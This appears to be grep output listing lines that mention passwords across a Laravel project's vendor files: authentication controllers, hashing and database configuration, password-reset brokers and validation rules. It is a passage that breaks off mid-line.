./vendor/laravel/ui/auth-backend/SendsPasswordResetEmails.php: * Get the response for a failed password reset link. ./vendor/laravel/ui/auth-backend/SendsPasswordResetEmails.php: * Get the broker to be used during password reset. ./vendor/laravel/ui/auth-backend/AuthenticatesUsers.php: $request->session()->put('auth.password_confirmed_at', time()); ./vendor/laravel/ui/auth-backend/AuthenticatesUsers.php: 'password' => 'required|string', ./vendor/laravel/ui/auth-backend/AuthenticatesUsers.php: return $request->only($this->username(), 'password'); ./vendor/laravel/ui/auth-backend/ConfirmsPasswords.php: * Display the password confirmation view. ./vendor/laravel/ui/auth-backend/ConfirmsPasswords.php: return view('auth.passwords.confirm'); ./vendor/laravel/ui/auth-backend/ConfirmsPasswords.php: * Confirm the given user's password. ./vendor/laravel/ui/auth-backend/ConfirmsPasswords.php: * Reset the password confirmation timeout. ./vendor/laravel/ui/auth-backend/ConfirmsPasswords.php: $request->session()->put('auth.password_confirmed_at', time()); ./vendor/laravel/ui/auth-backend/ConfirmsPasswords.php: * Get the password confirmation validation rules. ./vendor/laravel/ui/auth-backend/ConfirmsPasswords.php: 'password' => 'required|current_password:web', ./vendor/laravel/ui/auth-backend/ConfirmsPasswords.php: * Get the password confirmation validation error messages. ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: * Display the password reset view for the given token. ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: return view('auth.passwords.reset')->with( ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: * Reset the given user's password. ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: // Here we will attempt to reset the user's password. If it is successful we ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: // will update the password on an actual user model and persist it to the ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: $this->credentials($request), function ($user, $password) { ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: $this->resetPassword($user, $password); ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: // If the password was successfully reset, we will redirect the user back to ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: * Get the password reset validation rules. ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: 'password' => ['required', 'confirmed', Rules\Password::defaults()], ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: * Get the password reset validation error messages. ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: * Get the password reset credentials from the request. ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: 'email', 'password', 'password_confirmation', 'token' ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: * Reset the given user's password. ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: * @param string $password ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: protected function resetPassword($user, $password) ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: $this->setUserPassword($user, $password); ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: * Set the user's password. ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: * @param string $password ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: protected function setUserPassword($user, $password) ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: $user->password = Hash::make($password); ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: * Get the response for a successful password reset. ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: * Get the response for a failed password reset. ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: * Get the broker to be used during password reset. ./vendor/laravel/ui/auth-backend/ResetsPasswords.php: * Get the guard to be used during password reset. ./vendor/laravel/framework/config/hashing.php: | passwords for your application. By default, the bcrypt algorithm is ./vendor/laravel/framework/config/hashing.php: | passwords are hashed using the Bcrypt algorithm. This will allow you ./vendor/laravel/framework/config/hashing.php: | to control the amount of time it takes to hash the given password. ./vendor/laravel/framework/config/hashing.php: | passwords are hashed using the Argon algorithm. These will allow you ./vendor/laravel/framework/config/hashing.php: | to control the amount of time it takes to hash the given password. ./vendor/laravel/framework/config/hashing.php: | the user's password during login if the configured work factor for ./vendor/laravel/framework/config/database.php: 'password' => env('DB_PASSWORD', ''), ./vendor/laravel/framework/config/database.php: 'password' => env('DB_PASSWORD', ''), ./vendor/laravel/framework/config/database.php: 'password' => env('DB_PASSWORD', ''), ./vendor/laravel/framework/config/database.php: 'password' => env('DB_PASSWORD', ''), ./vendor/laravel/framework/config/database.php: 'password' => env('REDIS_PASSWORD'), ./vendor/laravel/framework/config/database.php: 'password' => env('REDIS_PASSWORD'), ./vendor/laravel/framework/config/auth.php: | This option defines the default authentication "guard" and password ./vendor/laravel/framework/config/auth.php: 'passwords' => env('AUTH_PASSWORD_BROKER', 'users'), ./vendor/laravel/framework/config/auth.php: | These configuration options specify the behavior of Laravel's password ./vendor/laravel/framework/config/auth.php: | generating more password reset tokens. This prevents the user from ./vendor/laravel/framework/config/auth.php: | quickly generating a very large amount of password reset tokens. ./vendor/laravel/framework/config/auth.php: 'passwords' => [ ./vendor/laravel/framework/config/auth.php: 'table' => env('AUTH_PASSWORD_RESET_TOKEN_TABLE', 'password_reset_tokens'), ./vendor/laravel/framework/config/auth.php: | Here you may define the number of seconds before a password confirmation ./vendor/laravel/framework/config/auth.php: | window expires and users are asked to re-enter their password via the ./vendor/laravel/framework/config/auth.php: 'password_timeout' => env('AUTH_PASSWORD_TIMEOUT', 10800), ./vendor/laravel/framework/config/mail.php: 'password' => env('MAIL_PASSWORD'), ./vendor/laravel/framework/src/Illuminate/Database/Schema/MySqlSchemaState.php: * Generate a basic connection string (--socket, --host, --port, --user, --password) for the database. ./vendor/laravel/framework/src/Illuminate/Database/Schema/MySqlSchemaState.php: $value = ' --user="${:LARAVEL_LOAD_USER}" --password="${:LARAVEL_LOAD_PASSWORD}"'; ./vendor/laravel/framework/src/Illuminate/Database/Schema/MySqlSchemaState.php: 'LARAVEL_LOAD_PASSWORD' => $config['password'] ?? '', ./vendor/laravel/framework/src/Illuminate/Database/Schema/PostgresSchemaState.php: 'PGPASSWORD' => $config['password'], ./vendor/laravel/framework/src/Illuminate/Database/Console/DbCommand.php: 'password' => '--password='.$connection['password'], ./vendor/laravel/framework/src/Illuminate/Database/Console/DbCommand.php: if (! $connection['password']) { ./vendor/laravel/framework/src/Illuminate/Database/Console/DbCommand.php: unset($optionalArguments['password']); ./vendor/laravel/framework/src/Illuminate/Database/Console/DbCommand.php: 'password' => ['-P', $connection['password']], ./vendor/laravel/framework/src/Illuminate/Database/Console/DbCommand.php: 'password' => ['PGPASSWORD' => $connection['password']], ./vendor/laravel/framework/src/Illuminate/Database/Console/DatabaseInspectionCommand.php: return Arr::except(config('database.connections.'.$database), ['password']); ./vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php: [$username, $password] = [ ./vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php: $config['username'] ?? null, $config['password'] ?? null, ./vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php: $dsn, $username, $password, $options ./vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php: $e, $dsn, $username, $password, $options ./vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php: * @param string $password ./vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php: protected function createPdoConnection($dsn, $username, #[\SensitiveParameter] $password, $options) ./vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php: ? new PDO($dsn, $username, $password, $options) ./vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php: : PDO::connect($dsn, $username, $password, $options); /** @phpstan-ignore staticMethod.notFound (PHP 8.4) */ ./vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php: * @param string $password ./vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php: protected function tryAgainIfCausedByLostConnection(Throwable $e, $dsn, $username, #[\SensitiveParameter] $password, $options) ./vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php: return $this->createPdoConnection($dsn, $username, $password, $options); ./vendor/laravel/framework/src/Illuminate/Database/README.md: 'password' => 'password', ./vendor/laravel/framework/src/Illuminate/Redis/Connectors/PhpRedisConnector.php: if (! empty($config['password'])) { ./vendor/laravel/framework/src/Illuminate/Redis/Connectors/PhpRedisConnector.php: if (isset($config['username']) && $config['username'] !== '' && is_string($config['password'])) { ./vendor/laravel/framework/src/Illuminate/Redis/Connectors/PhpRedisConnector.php: $client->auth([$config['username'], $config['password']]); ./vendor/laravel/framework/src/Illuminate/Redis/Connectors/PhpRedisConnector.php: $client->auth($config['password']); ./vendor/laravel/framework/src/Illuminate/Redis/Connectors/PhpRedisConnector.php: $parameters[] = $options['password'] ?? null; ./vendor/laravel/framework/src/Illuminate/Translation/lang/en/passwords.php: | that are given by the password broker for a password update attempt ./vendor/laravel/framework/src/Illuminate/Translation/lang/en/passwords.php: | outcome such as failure due to an invalid password / reset token. ./vendor/laravel/framework/src/Illuminate/Translation/lang/en/passwords.php: 'reset' => 'Your password has been reset.', ./vendor/laravel/framework/src/Illuminate/Translation/lang/en/passwords.php: 'sent' => 'We have emailed your password reset link.', ./vendor/laravel/framework/src/Illuminate/Translation/lang/en/passwords.php: 'token' => 'This password reset token is invalid.', ./vendor/laravel/framework/src/Illuminate/Translation/lang/en/validation.php: 'current_password' => 'The password is incorrect.', ./vendor/laravel/framework/src/Illuminate/Translation/lang/en/validation.php: 'password' => [ ./vendor/laravel/framework/src/Illuminate/Translation/lang/en/auth.php: 'password' => 'The provided password is incorrect.', ./vendor/laravel/framework/src/Illuminate/Mail/MailManager.php: $config['password'] ?? null, ./vendor/laravel/framework/src/Illuminate/Auth/Authenticatable.php: * The column name of the password field using during authentication. ./vendor/laravel/framework/src/Illuminate/Auth/Authenticatable.php: protected $authPasswordName = 'password'; ./vendor/laravel/framework/src/Illuminate/Auth/Authenticatable.php: * Get the name of the password attribute for the user. ./vendor/laravel/framework/src/Illuminate/Auth/Authenticatable.php: * Get the password for the user. ./vendor/laravel/framework/src/Illuminate/Auth/Recaller.php: * Get the password from the recaller. ./vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php: * Get the name of the password attribute for the user. ./vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php: return 'password'; ./vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php: * Get the password for the user. ./vendor/laravel/framework/src/Illuminate/Auth/Notifications/ResetPassword.php: * The password reset token. ./vendor/laravel/framework/src/Illuminate/Auth/Notifications/ResetPassword.php: * The callback that should be used to create the reset password URL. ./vendor/laravel/framework/src/Illuminate/Auth/Notifications/ResetPassword.php: * Get the reset password notification mail message for the given URL. ./vendor/laravel/framework/src/Illuminate/Auth/Notifications/ResetPassword.php: ->line(Lang::get('You are receiving this email because we received a password reset request for your account.')) ./vendor/laravel/framework/src/Illuminate/Auth/Notifications/ResetPassword.php: ->line(Lang::get('This password reset link will expire in :count minutes.', ['count' => config('auth.passwords.'.config('auth.defaults.passwords').'.expire')])) ./vendor/laravel/framework/src/Illuminate/Auth/Notifications/ResetPassword.php: ->line(Lang::get('If you did not request a password reset, no further action is required.')); ./vendor/laravel/framework/src/Illuminate/Auth/Notifications/ResetPassword.php: return url(route('password.reset', [ ./vendor/laravel/framework/src/Illuminate/Auth/Notifications/ResetPassword.php: * Set a callback that should be used when creating the reset password button URL. ./vendor/laravel/framework/src/Illuminate/Auth/Console/ClearResetsCommand.php: protected $signature = 'auth:clear-resets {name? : The name of the password broker}'; ./vendor/laravel/framework/src/Illuminate/Auth/Console/ClearResetsCommand.php: protected $description = 'Flush expired password reset tokens'; ./vendor/laravel/framework/src/Illuminate/Auth/Console/ClearResetsCommand.php: $this->laravel['auth.password']->broker($this->argument('name'))->getRepository()->deleteExpired(); ./vendor/laravel/framework/src/Illuminate/Auth/DatabaseUserProvider.php: fn ($key) => ! str_contains($key, 'password'), ./vendor/laravel/framework/src/Illuminate/Auth/DatabaseUserProvider.php: if (is_null($plain = $credentials['password'])) { ./vendor/laravel/framework/src/Illuminate/Auth/DatabaseUserProvider.php: * Rehash the user's password if required and supported. ./vendor/laravel/framework/src/Illuminate/Auth/DatabaseUserProvider.php: ->update([$user->getAuthPasswordName() => $this->hasher->make($credentials['password'])]); ./vendor/laravel/framework/src/Illuminate/Auth/AuthServiceProvider.php: $app['config']->get('auth.password_timeout') ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBroker.php: * The password token repository. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBroker.php: * Create a new password broker instance. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBroker.php: * Send a password reset link to a user. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBroker.php: // user with a link to reset their password. We will then redirect back to ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBroker.php: * Reset the password for the given token. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBroker.php: $password = $credentials['password']; ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBroker.php: // new password. This gives the user an opportunity to store the password ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBroker.php: $callback($user, $password); ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBroker.php: * Validate a password reset for the given credentials. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBroker.php: * Create a new password reset token for the given user. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBroker.php: * Delete password reset tokens of the given user. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBroker.php: * Validate the given password reset token. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBroker.php: * Get the password reset token repository implementation. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/CanResetPassword.php: * Get the e-mail address where password reset links are sent. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/CanResetPassword.php: * Send the password reset notification. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBrokerManager.php: // The password broker uses a token repository to validate tokens and send user ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBrokerManager.php: // password e-mails, as well as validating that password reset process as an ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBrokerManager.php: * Get the password broker configuration. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBrokerManager.php: return $this->app['config']["auth.passwords.{$name}"]; ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBrokerManager.php: * Get the default password broker name. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBrokerManager.php: return $this->app['config']['auth.defaults.passwords']; ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBrokerManager.php: * Set the default password broker name. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordBrokerManager.php: $this->app['config']['auth.defaults.passwords'] = $name; ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordResetServiceProvider.php: * Register the password broker instance. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordResetServiceProvider.php: $this->app->singleton('auth.password', function ($app) { ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordResetServiceProvider.php: $this->app->bind('auth.password.broker', function ($app) { ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordResetServiceProvider.php: return $app->make('auth.password')->broker(); ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/PasswordResetServiceProvider.php: return ['auth.password', 'auth.password.broker']; ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/CacheTokenRepository.php: * Determine if the given user recently created a password reset token. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/DatabaseTokenRepository.php: * @param int $throttle Minimum number of seconds before the user can generate new password reset tokens. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/DatabaseTokenRepository.php: // a safe link to the password reset form. Then we will insert a record in ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/DatabaseTokenRepository.php: * Determine if the given user recently created a password reset token. ./vendor/laravel/framework/src/Illuminate/Auth/Passwords/TokenRepositoryInterface.php: * Determine if the given user recently created a password reset token. ./vendor/laravel/framework/src/Illuminate/Auth/EloquentUserProvider.php: fn ($key) => ! str_contains($key, 'password'), ./vendor/laravel/framework/src/Illuminate/Auth/EloquentUserProvider.php: if (is_null($plain = $credentials['password'])) { ./vendor/laravel/framework/src/Illuminate/Auth/EloquentUserProvider.php: * Rehash the user's password if required and supported. ./vendor/laravel/framework/src/Illuminate/Auth/EloquentUserProvider.php: $user->getAuthPasswordName() => $this->hasher->make($credentials['password']), ./vendor/laravel/framework/src/Illuminate/Auth/Middleware/RequirePassword.php: * The password timeout. ./vendor/laravel/framework/src/Illuminate/Auth/Middleware/RequirePassword.php: protected $passwordTimeout; ./vendor/laravel/framework/src/Illuminate/Auth/Middleware/RequirePassword.php: * @param int|null $passwordTimeout ./vendor/laravel/framework/src/Illuminate/Auth/Middleware/RequirePassword.php: public function __construct(ResponseFactory $responseFactory, UrlGenerator $urlGenerator, $passwordTimeout = null) ./vendor/laravel/framework/src/Illuminate/Auth/Middleware/RequirePassword.php: $this->passwordTimeout = $passwordTimeout ?: 10800; ./vendor/laravel/framework/src/Illuminate/Auth/Middleware/RequirePassword.php: * @param string|int|null $passwordTimeoutSeconds ./vendor/laravel/framework/src/Illuminate/Auth/Middleware/RequirePassword.php: public static function using($redirectToRoute = null, $passwordTimeoutSeconds = null) ./vendor/laravel/framework/src/Illuminate/Auth/Middleware/RequirePassword.php: * @param string|int|null $passwordTimeoutSeconds ./vendor/laravel/framework/src/Illuminate/Auth/Middleware/RequirePassword.php: public function handle($request, Closure $next, $redirectToRoute = null, $passwordTimeoutSeconds = null) ./vendor/laravel/framework/src/Illuminate/Auth/Middleware/RequirePassword.php: if ($this->shouldConfirmPassword($request, $passwordTimeoutSeconds)) { ./vendor/laravel/framework/src/Illuminate/Auth/Middleware/RequirePassword.php: $this->urlGenerator->route($redirectToRoute ?: 'password.confirm') ./vendor/laravel/framework/src/Illuminate/Auth/Middleware/RequirePassword.php: * @param int|null $passwordTimeoutSeconds ./vendor/laravel/framework/src/Illuminate/Auth/Middleware/RequirePassword.php: protected function shouldConfirmPassword($request, $passwordTimeoutSeconds = null) ./vendor/laravel/framework/src/Illuminate/Auth/Middleware/RequirePassword.php: $confirmedAt = Date::now()->unix() - $request->session()->get('auth.password_confirmed_at', 0); ./vendor/laravel/framework/src/Illuminate/Auth/Middleware/RequirePassword.php: return $confirmedAt > ($passwordTimeoutSeconds ?? $this->passwordTimeout); ./vendor/laravel/framework/src/Illuminate/Auth/SessionGuard.php: * Indicates if passwords should be rehashed on login if needed. ./vendor/laravel/framework/src/Illuminate/Auth/SessionGuard.php: return [$field => $request->getUser(), 'password' => $request->getPassword()]; ./vendor/laravel/framework/src/Illuminate/Auth/SessionGuard.php: * Rehash the user's password if enabled and required. ./vendor/laravel/framework/src/Illuminate/Auth/SessionGuard.php: * Create a HMAC of the password hash for storage in cookies. ./vendor/laravel/framework/src/Illuminate/Auth/SessionGuard.php: * @param string $passwordHash ./vendor/laravel/framework/src/Illuminate/Auth/SessionGuard.php: public function hashPasswordForCookie($passwordHash) ./vendor/laravel/framework/src/Illuminate/Auth/SessionGuard.php: $passwordHash, ./vendor/laravel/framework/src/Illuminate/Auth/SessionGuard.php: $this->hashKey ?? 'base-key-for-password-hash-mac' ./vendor/laravel/framework/src/Illuminate/Auth/SessionGuard.php: * @param string $password ./vendor/laravel/framework/src/Illuminate/Auth/SessionGuard.php: public function logoutOtherDevices($password) ./vendor/laravel/framework/src/Illuminate/Auth/SessionGuard.php: $result = $this->rehashUserPasswordForDeviceLogout($password); ./vendor/laravel/framework/src/Illuminate/Auth/SessionGuard.php: * Rehash the current user's password for logging out other devices via AuthenticateSession. ./vendor/laravel/framework/src/Illuminate/Auth/SessionGuard.php: * @param string $password ./vendor/laravel/framework/src/Illuminate/Auth/SessionGuard.php: protected function rehashUserPasswordForDeviceLogout($password) ./vendor/laravel/framework/src/Illuminate/Auth/SessionGuard.php: if (! Hash::check($password, $user->getAuthPassword())) { ./vendor/laravel/framework/src/Illuminate/Auth/SessionGuard.php: throw new InvalidArgumentException('The given password does not match the current password.'); ./vendor/laravel/framework/src/Illuminate/Auth/SessionGuard.php: $user, ['password' => $password], force: true ./vendor/laravel/framework/src/Illuminate/Http/Client/PendingRequest.php: * Specify the basic authentication username and password for the request. ./vendor/laravel/framework/src/Illuminate/Http/Client/PendingRequest.php: * @param string $password ./vendor/laravel/framework/src/Illuminate/Http/Client/PendingRequest.php: public function withBasicAuth(string $username, string $password) ./vendor/laravel/framework/src/Illuminate/Http/Client/PendingRequest.php: return tap($this, function () use ($username, $password) { ./vendor/laravel/framework/src/Illuminate/Http/Client/PendingRequest.php: $this->options['auth'] = [$username, $password]; ./vendor/laravel/framework/src/Illuminate/Http/Client/PendingRequest.php: * Specify the digest authentication username and password for the request. ./vendor/laravel/framework/src/Illuminate/Http/Client/PendingRequest.php: * @param string $password ./vendor/laravel/framework/src/Illuminate/Http/Client/PendingRequest.php: public function withDigestAuth($username, $password) ./vendor/laravel/framework/src/Illuminate/Http/Client/PendingRequest.php: return tap($this, function () use ($username, $password) { ./vendor/laravel/framework/src/Illuminate/Http/Client/PendingRequest.php: $this->options['auth'] = [$username, $password, 'digest']; ./vendor/laravel/framework/src/Illuminate/Http/Client/PendingRequest.php: * Specify the NTLM authentication username and password for the request. ./vendor/laravel/framework/src/Illuminate/Http/Client/PendingRequest.php: * @param string $password ./vendor/laravel/framework/src/Illuminate/Http/Client/PendingRequest.php: public function withNtlmAuth($username, $password) ./vendor/laravel/framework/src/Illuminate/Http/Client/PendingRequest.php: return tap($this, function () use ($username, $password) { ./vendor/laravel/framework/src/Illuminate/Http/Client/PendingRequest.php: $this->options['auth'] = [$username, $password, 'ntlm']; ./vendor/laravel/framework/src/Illuminate/Hashing/Argon2IdHasher.php: throw new RuntimeException('This password does not use the Argon2id algorithm.'); ./vendor/laravel/framework/src/Illuminate/Hashing/Argon2IdHasher.php: return password_verify($value, $hashedValue); ./vendor/laravel/framework/src/Illuminate/Hashing/BcryptHasher.php: $hash = password_hash($value, PASSWORD_BCRYPT, [ ./vendor/laravel/framework/src/Illuminate/Hashing/BcryptHasher.php: throw new RuntimeException('This password does not use the Bcrypt algorithm.'); ./vendor/laravel/framework/src/Illuminate/Hashing/BcryptHasher.php: return password_needs_rehash($hashedValue, PASSWORD_BCRYPT, [ ./vendor/laravel/framework/src/Illuminate/Hashing/BcryptHasher.php: * Set the default password work factor. ./vendor/laravel/framework/src/Illuminate/Hashing/AbstractHasher.php: return password_get_info($hashedValue); ./vendor/laravel/framework/src/Illuminate/Hashing/AbstractHasher.php: return password_verify($value, $hashedValue); ./vendor/laravel/framework/src/Illuminate/Hashing/ArgonHasher.php: $hash = password_hash($value, $this->algorithm(), [ ./vendor/laravel/framework/src/Illuminate/Hashing/ArgonHasher.php: throw new RuntimeException('This password does not use the Argon2i algorithm.'); ./vendor/laravel/framework/src/Illuminate/Hashing/ArgonHasher.php: return password_needs_rehash($hashedValue, $this->algorithm(), [ ./vendor/laravel/framework/src/Illuminate/Hashing/ArgonHasher.php: * Set the default password memory factor. ./vendor/laravel/framework/src/Illuminate/Hashing/ArgonHasher.php: * Set the default password timing factor. ./vendor/laravel/framework/src/Illuminate/Hashing/ArgonHasher.php: * Set the default password threads factor. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * The minimum size of the password. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * The maximum size of the password. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * If the password is required. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * If the password should only be validated when present. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * If the password requires at least one uppercase and one lowercase letter. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * If the password requires at least one letter. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * If the password requires at least one number. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * If the password requires at least one symbol. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * If the password should not have been compromised in data leaks. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * The number of times a password can appear in data leaks before being considered compromised. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * The callback that will generate the "default" version of the password rule. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * Set the default callback to be used for determining a password's default rules. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * If no arguments are passed, the default password rule configuration will be returned. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * Get the default configuration of the password rule. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: $password = is_callable(static::$defaultCallback) ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: return $password instanceof Rule ? $password : static::min(8); ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * Get the default configuration of the password rule and mark the field as required. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: $password = static::default(); ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: $password->required = true; ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: return $password; ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * Get the default configuration of the password rule and mark the field as sometimes being required. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: $password = static::default(); ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: $password->sometimes = true; ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: return $password; ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * Set the minimum size of the password. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * Set the maximum size of the password. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * Ensures the password has not been compromised in data leaks. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * Makes the password require at least one uppercase and one lowercase letter. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * Makes the password require at least one letter. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * Makes the password require at least one number. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * Makes the password require at least one symbol. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: $validator->addFailure($attribute, 'password.mixed'); ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: $validator->addFailure($attribute, 'password.letters'); ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: $validator->addFailure($attribute, 'password.symbols'); ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: $validator->addFailure($attribute, 'password.numbers'); ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: $validator->addFailure($attribute, 'password.uncompromised'); ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * Get information about the current state of the password validation rules. ./vendor/laravel/framework/src/Illuminate/Validation/Rules/Password.php: * Get an iterator for the password validation rules. ./vendor/laravel/framework/src/Illuminate/Validation/ValidationServiceProvider.php: * Register the uncompromised password verifier. ./vendor/laravel/framework/src/Illuminate/Validation/NotPwnedVerifier.php: * Search by the given hash prefix and returns all occurrences of leaked passwords. ./vendor/laravel/framework/src/Illuminate/Validation/NotPwnedVerifier.php: 'https://api.pwnedpasswords.com/range/'.$hashPrefix ./vendor/laravel/framework/src/Illuminate/Validation/Concerns/ValidatesAttributes.php: * Validate that the password of the currently authenticated user matches the given value. ./vendor/laravel/framework/src/Illuminate/Foundation/Configuration/Middleware.php: 'password.confirm' => \Illuminate\Auth\Middleware\RequirePassword::class, ./vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php: 'current_password', ./vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php: 'password', ./vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php: 'password_confirmation', ./vendor/laravel/framework/src/Illuminate/Foundation/Exceptions/Handler.php: 'current_password', ./vendor/laravel/framework/src/Illuminate/Foundation/Exceptions/Handler.php: 'password', ./vendor/laravel/framework/src/Illuminate/Foundation/Exceptions/Handler.php: 'password_confirmation', ./vendor/laravel/framework/src/Illuminate/Foundation/Console/EnvironmentEncryptCommand.php:use function Laravel\Prompts\password; ./vendor/laravel/framework/src/Illuminate/Foundation/Console/EnvironmentEncryptCommand.php: $key = password('What is the encryption key?'); ./vendor/laravel/framework/src/Illuminate/Foundation/Console/EnvironmentDecryptCommand.php:use function Laravel\Prompts\password; ./vendor/laravel/framework/src/Illuminate/Foundation/Console/EnvironmentDecryptCommand.php: $key = password('What is the decryption key?'); ./vendor/laravel/framework/src/Illuminate/Foundation/Console/BroadcastingInstallCommand.php:use function Laravel\Prompts\password; ./vendor/laravel/framework/src/Illuminate/Foundation/Console/BroadcastingInstallCommand.php: $key = password('Pusher App Key', 'Enter your Pusher app key'); ./vendor/laravel/framework/src/Illuminate/Foundation/Console/BroadcastingInstallCommand.php: $secret = password('Pusher App Secret', 'Enter your Pusher app secret'); ./vendor/laravel/framework/src/Illuminate/Foundation/Console/BroadcastingInstallCommand.php: $key = password('Ably Key', 'Enter your Ably key'); ./vendor/laravel/framework/src/Illuminate/Foundation/Console/LangPublishCommand.php: realpath(__DIR__.'/../../Translation/lang/en/passwords.php') => 'passwords.php', ./vendor/laravel/framework/src/Illuminate/Foundation/Bootstrap/LoadConfiguration.php: 'auth' => ['guards', 'providers', 'passwords'], ./vendor/laravel/framework/src/Illuminate/Foundation/Application.php: 'auth.password' => [\Illuminate\Auth\Passwords\PasswordBrokerManager::class, \Illuminate\Contracts\Auth\PasswordBrokerFactory::class], ./vendor/laravel/framework/src/Illuminate/Foundation/Application.php: 'auth.password.broker' => 